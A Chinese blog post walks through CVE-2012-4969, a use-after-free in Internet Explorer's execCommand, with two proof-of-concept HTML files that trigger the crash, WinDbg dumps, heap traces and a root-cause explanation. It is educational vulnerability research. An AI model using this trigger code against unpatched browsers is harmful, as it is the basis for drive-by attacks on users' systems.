zl程序教程

您现在的位置是:首页 >  其他

当前栏目

【漏洞分析】Microsoft IE execCommand函数释放后重用漏洞(CVE-2012-4969)

漏洞 函数 分析 IE 释放 Microsoft CVE 2012
2023-09-11 14:22:06 时间

0x00 前言

前一段时间接到了某种检测语言的翻译工作,因为这种检测语言不是标准语言,所以需要编译器重新翻译处理。准确的说是一种DSL(Domain Specific Language)。之前有过一个版本的类似DSL解析,尝试改了改,发现人肉工作量不可接受。之前写过json的解析器。感觉本质相同,于是重新写了一个解析器,解析效率杠杠的,收到了意想不到的成果。so cool~

趁着五一翻翻cve,摸摸windbg。

0x01 简介

2012年9月IE的execCommand函数被公布在实现上存在释放后重用漏洞,远程攻击者可能利用此漏洞通过诱使用户访问恶意网页执行挂马攻击,控制用户系统。

受影响版本:
Microsoft Internet Explorer 9.x
Microsoft Internet Explorer 8.x
Microsoft Internet Explorer 7.x
Microsoft Internet Explorer 6.x

0x02 运行环境

版本
操作系统windows 7 sp1 32bit
调试器windbg 6.12 32 bit
漏洞软件IE 8.0.7601.17514
反编译工具IDA

0x03 漏洞分析

本漏洞需要两个html文件,具体细节如下
poc.html

<html>
  <body>
    <script>
      var arrr = new Array();
      arrr[0] = window.document.createElement("img");
      arrr[0]["src"] = "f";
    </script>
    <iframe src="./exp1.html"></iframe>
  </body>
</html>

exp1.html

<HTML>
  <script>
    function funcB() {
      document.execCommand("selectAll");
    };
    function funcA() {
      document.write("B");
      parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
    }
  </script>
  <body onload='funcB();' onselect='funcA()'>
    <div contenteditable='true'>
      >for crash
    </div>
  </body>
</HTML>

通过浏览器打开poc.html文件,允许Active X的运行即可触发崩溃。

(d44.260): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000001f ecx=1f5b0f30 edx=0000000d esi=00000000 edi=1cb67f78
eip=5d6c503e esp=1eda9be4 ebp=1eda9bf0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CMshtmlEd::Exec+0x131:
5d6c503e 8b7f08          mov     edi,dword ptr [edi+8] ds:0023:1cb67f80=????????
0:034> kb
ChildEBP RetAddr  Args to Child              
1eda9bf0 5d697f93 1cb67f78 5d678eac 0000001f mshtml!CMshtmlEd::Exec+0x131
1eda9c20 5d673888 5d678eac 0000001f 00000002 mshtml!CEditRouter::ExecEditCommand+0xff
1eda9fe0 5d7b5397 1ac54fc8 5d678eac 0000001f mshtml!CDoc::ExecHelper+0x3cdb
1edaa000 5d7f50f6 1ac54fc8 5d678eac 0000001f mshtml!CDocument::Exec+0x24
1edaa028 5d7b7090 147fdb58 0000001f 1eda000a mshtml!CBase::execCommand+0x53
1edaa060 5d7ee043 00000001 147fdb58 00000000 mshtml!CDocument::execCommand+0x94
1edaa0d8 5d6af10b 1ac54fc8 14634fd0 1179afd8 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x14e
1edaa14c 5d6aef72 1ac54fc8 00000429 00000001 mshtml!CBase::ContextInvokeEx+0x5dc
1edaa178 5d6bb7fa 1ac54fc8 00000429 00000001 mshtml!CBase::InvokeEx+0x25
1edaa1c8 5d65f00c 1ac54fc8 0000000b 00000429 mshtml!DispatchInvokeCollection+0x14c
1edaa210 5d65bc52 1ac54fc8 00000429 00000001 mshtml!CDocument::InvokeEx+0xf0
1edaa238 5d65bc0e 1ac54fc8 00000429 00000001 mshtml!CBase::VersionedInvokeEx+0x20
1edaa28c 644aa26e 1d599fd8 00000429 00000001 mshtml!PlainInvokeEx+0xeb
1edaa2c8 644aa1b9 1493ad10 00000429 00000409 jscript!IDispatchExInvokeEx2+0x104
1edaa304 644aa43a 1493ad10 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a
...
...

指令想把[edi + 8]内存地址的数据取出来存入edi寄存器中,但是崩溃了。
数据段ds:0023的地址1cb67f80正是edi(1cb67f78) +8 的计算结果。所以程序在取ptr [edi + 8]的时候崩溃。

查看异常地址1cb67f80, 即edi+8:

0:034> !address 1cb67f80
              
Failed to map Heaps (error 80004005)
Usage:                  PageHeap
Allocation Base:        1caa0000
Base Address:           1cb67000
End Address:            1cb68000
Region Size:            00001000
Type:                   00020000	MEM_PRIVATE
State:                  00001000	MEM_COMMIT
Protect:                00000001	PAGE_NOACCESS
More info:              !heap -p 0x200000
More info:              !heap -p -a 0x1cb67f80

该地址属性为PAGE_NOACCESS,不可访问。所以是非法读的问题。同时Usage为PageHeap,表示是堆上的问题,所以需要开启page heap.

使用windbg自动分析

0:034> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\360\360safe\safemon\ieplus.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\360\360safe\360NetBase.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\360\360safe\safemon\urlproc.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\360\360safe\safemon\safemon.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll - 
*************************************************************************
***                                                                   ***
***                                                                   ***
***    Your debugger is not using the correct symbols                 ***
***                                                                   ***
***    In order for this command to work properly, your symbol path   ***
***    must point to .pdb files that have full type information.      ***
***                                                                   ***
***    Certain .pdb files (such as the public OS symbols) do not      ***
***    contain the required information.  Contact the group that      ***
***    provided you with these symbols if you need this command to    ***
***    work.                                                          ***
***                                                                   ***
***    Type referenced: jscript!CScriptRuntime                        ***
***                                                                   ***
*************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP: 
mshtml!CMshtmlEd::Exec+131
5d6c503e 8b7f08          mov     edi,dword ptr [edi+8]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 5d6c503e (mshtml!CMshtmlEd::Exec+0x00000131)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 1cb67f80
Attempt to read from address 1cb67f80

FAULTING_THREAD:  00000260

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:  iexplore.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  1cb67f80

READ_ADDRESS:  1cb67f80 

FOLLOWUP_IP: 
mshtml!CMshtmlEd::Exec+131
5d6c503e 8b7f08          mov     edi,dword ptr [edi+8]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  2000000

APPLICATION_VERIFIER_FLAGS:  1

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ

LAST_CONTROL_TRANSFER:  from 5d697f93 to 5d6c503e

STACK_TEXT:  
1eda9bf0 5d697f93 1cb67f78 5d678eac 0000001f mshtml!CMshtmlEd::Exec+0x131
1eda9c20 5d673888 5d678eac 0000001f 00000002 mshtml!CEditRouter::ExecEditCommand+0xff
1eda9fe0 5d7b5397 1ac54fc8 5d678eac 0000001f mshtml!CDoc::ExecHelper+0x3cdb
1edaa000 5d7f50f6 1ac54fc8 5d678eac 0000001f mshtml!CDocument::Exec+0x24
1edaa028 5d7b7090 147fdb58 0000001f 1eda000a mshtml!CBase::execCommand+0x53
1edaa060 5d7ee043 00000001 147fdb58 00000000 mshtml!CDocument::execCommand+0x94
1edaa0d8 5d6af10b 1ac54fc8 14634fd0 1179afd8 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x14e
1edaa14c 5d6aef72 1ac54fc8 00000429 00000001 mshtml!CBase::ContextInvokeEx+0x5dc
1edaa178 5d6bb7fa 1ac54fc8 00000429 00000001 mshtml!CBase::InvokeEx+0x25
1edaa1c8 5d65f00c 1ac54fc8 0000000b 00000429 mshtml!DispatchInvokeCollection+0x14c
1edaa210 5d65bc52 1ac54fc8 00000429 00000001 mshtml!CDocument::InvokeEx+0xf0
1edaa238 5d65bc0e 1ac54fc8 00000429 00000001 mshtml!CBase::VersionedInvokeEx+0x20
1edaa28c 644aa26e 1d599fd8 00000429 00000001 mshtml!PlainInvokeEx+0xeb
1edaa2c8 644aa1b9 1493ad10 00000429 00000409 jscript!IDispatchExInvokeEx2+0x104
1edaa304 644aa43a 1493ad10 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a
1edaa3c4 644aa4e4 00000429 00000001 00000000 jscript!InvokeDispatchEx+0x98
1edaa3f8 644bd9a8 1493ad10 1edaa42c 00000001 jscript!VAR::InvokeByName+0x139
1edaa444 644bda4f 1493ad10 00000001 00000000 jscript!VAR::InvokeDispName+0x7d
...
...


SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  mshtml!CMshtmlEd::Exec+131

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: mshtml

IMAGE_NAME:  mshtml.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  4ce7b8f3

STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~34s ; kb

FAILURE_BUCKET_ID:  INVALID_POINTER_READ_c0000005_mshtml.dll!CMshtmlEd::Exec

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_READ_mshtml!CMshtmlEd::Exec+131

WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/iexplore_exe/8_0_7601_17514/4ce79912/mshtml_dll/8_0_7601_17514/4ce7b8f3/c0000005/0024503e.htm?Retriage=1

Followup: MachineOwner
---------

这里可以得到一些重要信息:

  1. DEFAULT_BUCKET_ID: INVALID_POINTER_READ 表示crash原因是不可用的指针读操作,跟预期分析的一样
  2. IMAGE_NAME: mshtml.dll 表示crash的位置是mshtml.dll文件
  3. SYMBOL_NAME: mshtml!CMshtmlEd::Exec+131 表示crash的第一现场符号名称,配合上ida,就十分完美了。

看下问题模块的详细信息:

0:034> lmvm mshtml
start    end        module name
5d480000 5da37000   mshtml     (pdb symbols)          c:\localsymbols\mshtml.pdb\8C01A1767D9848308D4BAFDF0EBEB7452\mshtml.pdb
    Loaded symbol image file: C:\Windows\System32\mshtml.dll
    Image path: C:\Windows\System32\mshtml.dll
    Image name: mshtml.dll
    Timestamp:        Sat Nov 20 20:02:59 2010 (4CE7B8F3)
    CheckSum:         005B4AB8
    ImageSize:        005B7000
    File version:     8.0.7601.17514
    Product version:  8.0.7601.17514
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Windows® Internet Explorer
    InternalName:     MSHTML
    OriginalFilename: MSHTML.DLL
    ProductVersion:   8.00.7601.17514
    FileVersion:      8.00.7601.17514 (win7sp1_rtm.101119-1850)
    FileDescription:  Microsoft (R) HTML Viewer
    LegalCopyright:   © Microsoft Corporation. All rights reserved.

找到了问题模块的保存位置 C:\Windows\System32\mshtml.dll

ida打开,锁定位置
在这里插入图片描述
在mshtml!CMshtmlEd::Exec这个位置下断点,跟踪

eax=00000000 ebx=0000001f ecx=00000003 edx=0b9f99f0 esi=00000001 edi=15ff4f78
eip=617f5015 esp=0b9f9a34 ebp=0b9f9a40 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CMshtmlEd::Exec+0x103:
617f5015 8b4708          mov     eax,dword ptr [edi+8] ds:0023:15ff4f80=105f2f20
0:021> p
eax=105f2f20 ebx=0000001f ecx=00000003 edx=0b9f99f0 esi=00000001 edi=15ff4f78
eip=617f5018 esp=0b9f9a34 ebp=0b9f9a40 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CMshtmlEd::Exec+0x106:
617f5018 8b4050          mov     eax,dword ptr [eax+50h] ds:0023:105f2f70=0a5e4ff8

在mshtml!CMshtmlEd::Exec+0x103的位置使用了dword ptr [edi+8]这块内存的值,但是没有崩溃,之后再用时崩溃,可能是个UAF。

这样新的问题就产生了:

  1. 在于哪里释放了dword ptr [edi+8]这块内存?
  2. dword ptr [edi+8]这块内存是什么含义?表示哪个js对象?

对于问题1,可以断定是在 mshtml!CMshtmlEd::Exec+0x103 和程序崩溃点 mshtml!CMshtmlEd::Exec+131 之间释放的,具体free函数不清楚,很可能跟mshtml!CMshtmlEd类有关。
看下mshtml!CMshtmlEd类相关符号

0:004> x mshtml!CmshtmlEd::*
61db352b mshtml!CMshtmlEd::Release = <no type information>
61db38cd mshtml!CMshtmlEd::QueryInterface = <no type information>
61cda635 mshtml!CMshtmlEd::Initialize = <no type information>
61d2a5d9 mshtml!CMshtmlEd::AddRef = <no type information>
61d2a4c8 mshtml!CMshtmlEd::`vftable' = <no type information>
61db4ee2 mshtml!CMshtmlEd::IsDialogCommand = <no type information>
61d1e118 mshtml!CMshtmlEd::QueryStatus = <no type information>
61b916e3 mshtml!CMshtmlEd::GetSegmentList = <no type information>
61db4faf mshtml!CMshtmlEd::Exec = <no type information>
61cda98d mshtml!CMshtmlEd::CMshtmlEd = <no type information>
61dccd5b mshtml!CMshtmlEd::~CMshtmlEd = <no type information>

在release和initialize函数位置下断点

0:042> bp mshtml!CMshtmlEd::Initialize
0:042> bp mshtml!CMshtmlEd::Release

事先在js代码各关键点下断点
在这里插入图片描述
可以看到在html页面加载末尾,js开始执行第一行

js调试器继续

然而没有断下来
在这里插入图片描述
执行完第6行,进入mshtml!CMshtmlEd::Initialize断点
在这里插入图片描述
看下initialize函数的实现,mshtml!_imp__HeapAlloc为堆分配函数,单步执行到这一句
在这里插入图片描述
eax中保存的即为HeapAlloc分配的新地址:1f229fc0
顺便看下堆信息

0:021> !heap -p -a 1f229fc0
    address 1f229fc0 found in
    _DPH_HEAP_ROOT @ 201000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                1f251e6c:         1f229fc0               40 -         1f229000             2000
    73848e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77585e26 ntdll!RtlDebugAllocateHeap+0x00000030
    7754a376 ntdll!RtlpAllocateHeap+0x000000c4
    77515ae0 ntdll!RtlAllocateHeap+0x0000023a
    61cda661 mshtml!CMshtmlEd::Initialize+0x0000002c
    61cda5bd mshtml!CHTMLEditor::SetActiveCommandTarget+0x0000002e
    61cd9aed mshtml!CHTMLEditor::Initialize+0x00000128
    61cb9d7f mshtml!CDoc::GetHTMLEditor+0x00000058
    61d8842a mshtml!CEditRouter::SetInternalEditHandler+0x0000004f
    61d87f69 mshtml!CEditRouter::ExecEditCommand+0x000000d5
    61d63888 mshtml!CDoc::ExecHelper+0x00003cdb
    61ea5397 mshtml!CDocument::Exec+0x00000024
    61ee50f6 mshtml!CBase::execCommand+0x00000053
    61ea7090 mshtml!CDocument::execCommand+0x00000094
    61ede043 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x0000014e
    61d9f10b mshtml!CBase::ContextInvokeEx+0x000005dc
    61d9ef72 mshtml!CBase::InvokeEx+0x00000025
    61dab7fa mshtml!DispatchInvokeCollection+0x0000014c
    61d4f00c mshtml!CDocument::InvokeEx+0x000000f0
    61d4bc52 mshtml!CBase::VersionedInvokeEx+0x00000020
    61d4bc0e mshtml!PlainInvokeEx+0x000000eb
    644aa26e jscript!IDispatchExInvokeEx2+0x00000104
    644aa1b9 jscript!IDispatchExInvokeEx+0x0000006a
    644aa43a jscript!InvokeDispatchEx+0x00000098
    644aa4e4 jscript!VAR::InvokeByName+0x00000139
    644bd9a8 jscript!VAR::InvokeDispName+0x0000007d
    644bda4f jscript!VAR::InvokeByDispID+0x000000ce
    644be4c7 jscript!CScriptRuntime::Run+0x00002b80
    644b5d7d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
    644b5cdb jscript!ScrFncObj::Call+0x0000008d
    644b5ef1 jscript!CSession::Execute+0x0000015f
    644af4c6 jscript!NameTbl::InvokeDef+0x000001b5

initialize的反编译代码
在这里插入图片描述
跟进CSelectionServices::CSelectionServices()函数,里面基本上都是对HeapAlloc出来的空间用各种CSelectionServices相关的虚函数表初始化。

这里有个问题,如果是初始化CSelectionServices对象,为什么不用new,而是HeapAlloc后赋值?

继续,断在initialize函数,申请地址为:b384fc0
继续,断在release函数,在这里插入图片描述
看下mshtml!CMshtmlEd::Release+0x11的实现
在这里插入图片描述
此时br = 0,说明不会调用HeapFree
继续,
在这里插入图片描述
js继续执行,第二次断在release函数,还是不会调用HeapFree
在这里插入图片描述
继续,第三次断在release函数,此时会调用HeapFree
在这里插入图片描述
step into(F8)步入,寻找HeapFree的第3个参数,即esi = 12d3ef78,这是准备释放的内存地址
在这里插入图片描述
继续,此时程序崩溃, kb查看调用堆栈,有jsdebuggeride相关的模块,推测出为js调试器

0:021> g
(ce4.ce0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000018d ebx=00000000 ecx=0a536fd0 edx=61ecf55c esi=00000000 edi=0000018d
eip=61f0bfa4 esp=2622f918 ebp=2622f920 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CHtmInfo::ReadUnicodeSource+0x10:
61f0bfa4 8b86ec000000    mov     eax,dword ptr [esi+0ECh] ds:0023:000000ec=????????
0:041> kb
ChildEBP RetAddr  Args to Child              
2622f920 61f0bcd7 0e218fd8 00000000 2622f990 mshtml!CHtmInfo::ReadUnicodeSource+0x10
2622f938 61ecfaaf 0e218fd8 00000000 0000018d mshtml!CHtmCtx::ReadUnicodeSource+0x1a
2622f958 62c1c64c 0a536fd0 00000000 0e218fd8 mshtml!CScriptDebugDocument::CHost::GetDeferredText+0x2e
2622f9a4 62c3a8a4 44e8bfe8 44df7f90 05616fd0 pdm!CDebugDocumentHelper::EnsureParsed+0xd9
2622f9c0 6a97d68c 0e218f48 0000009a 44e8bff4 pdm!CDebugDocumentHelper::GetLineOfPosition+0x28
2622f9e8 6a97ddfd 05616fd0 0e218f48 2622fa40 jsdebuggeride!CJSDbgState::GetSourceContext+0x9e
2622fa08 6a97e5e8 00000000 00000000 2622fa44 jsdebuggeride!CJSDbgStackFrameInfo::GetSourceContext+0x4b

运行到这里,基本可以得出一个结论。开始盲下的initialize和release并没有对应上,由于推测漏洞是uaf,所以假设release的内存是有用的,则initialize函数已经不需要再看了。

为了验证release函数是UAF中的F,重新运行poc(不运行s调试器),在release函数处下断点

在这里插入图片描述
bingo, release的地址跟崩溃的地址一样,说明free就在这里。回忆刚才js最后可见的执行位置,是document.write("B");

也就是说document.write("B");释放了某个对象,js的最后一句引用了该对象导致UAF。

最后一句js代码如下:

parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";

这里做一个大胆的猜想arr[0]就是引发UAF的对象。证据呢?

两种证明方法:
1) 使用windbg找到crash地址12d3ef78与arr[0]相等的证据;
2) 从js代码含义推测执行逻辑

显然,方法一是比较难的,两种语言的对应关系,虚拟机和字节码的关系。。。

方法二:

之前不太了解js,于是找了找相关函数的定义。

execCommand方法是执行一个对当前文档,当前选择或者给出范围的命令。处理Html数据时常用如下格式:document.execCommand(sCommand[,交互方式,动态参数]),其中:sCommand为指令参数(如下例中的"2D-Position"),交互方式参数如果是true的话将显示对话框,如果为false的话,则不显示对话框(下例中的"false"即表示不显示对话框),动态参数一般为一可用值或属性值(如下例中的"true")。

SelectAll 表示选中整个文档。

onload 表示一旦加载完触发

onselect 表示一旦被选中触发

exp1.html代码

<HTML>
  <script>
    function funcB() {
      document.execCommand("selectAll");
    };

    function funcA() {
      document.write("B");
      parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
    }

  </script>
  <body onload='funcB();' onselect='funcA()'>
    <div contenteditable='true'>
      a
    </div>
  </body>
</HTML>

刚开始看这段js最大的问题是: onselect是被选中时才能触发,但是我打开poc时,没有选中就崩溃了,为什么?

答案就是,这段js的funcB是会被自动执行的,funcB里有选中动作(selectAll),即可触发funcA。

这样整个代码的指令流程就清晰了。

另一个问题:统揽js代码没有free的函数,那free是在哪里调用的?

答案是document.write("B");

document.write()是个有趣的函数,运行时机不同,行为不同。

场景1. 页面加载未结束,顺序执行到document.write(),界面会在已加载的内容基础上追加内容;

场景2. 页面加载已经结束,使用异步执行,document.write()会冲掉之前的内容,只显示write的新内容。这个冲掉即隐含了free。

场景2的现象正符合我们之前调试的过程,在调用document.write("B");后调用release并崩溃,即这里就是crash的触发原因

0x04 总结

  1. 这个问题是js代码解释执行的问题,需要调试浏览器代码,还要看js代码,所以需要两种代码都可以下断点的调式工具(windbg和IE的开发者工具),比较方便定位js执行到哪步出问题;
  2. 崩溃点的内存属性一定要看好,开始以为不是heap,就没有开页堆选项
  3. 崩溃点的调用堆栈需要一点点倒推,跨度太大,容易跟丢问题变量
  4. IE的开发者工具调试需要先打开,在同windbg attach上去,否则会莫名其妙的崩溃
  5. 这个cve在x64和x86平台的崩溃点代码不同,差点以为不能复现问题

0x05 参考文献

https://blog.csdn.net/u012763794/article/details/68059625
https://bbs.pediy.com/thread-206412.htm
https://www.exp99.com/fangan_f2e/documentwrite.html
https://www.freebuf.com/articles/system/156174.html
https://www.jb51.net/softjc/201856.html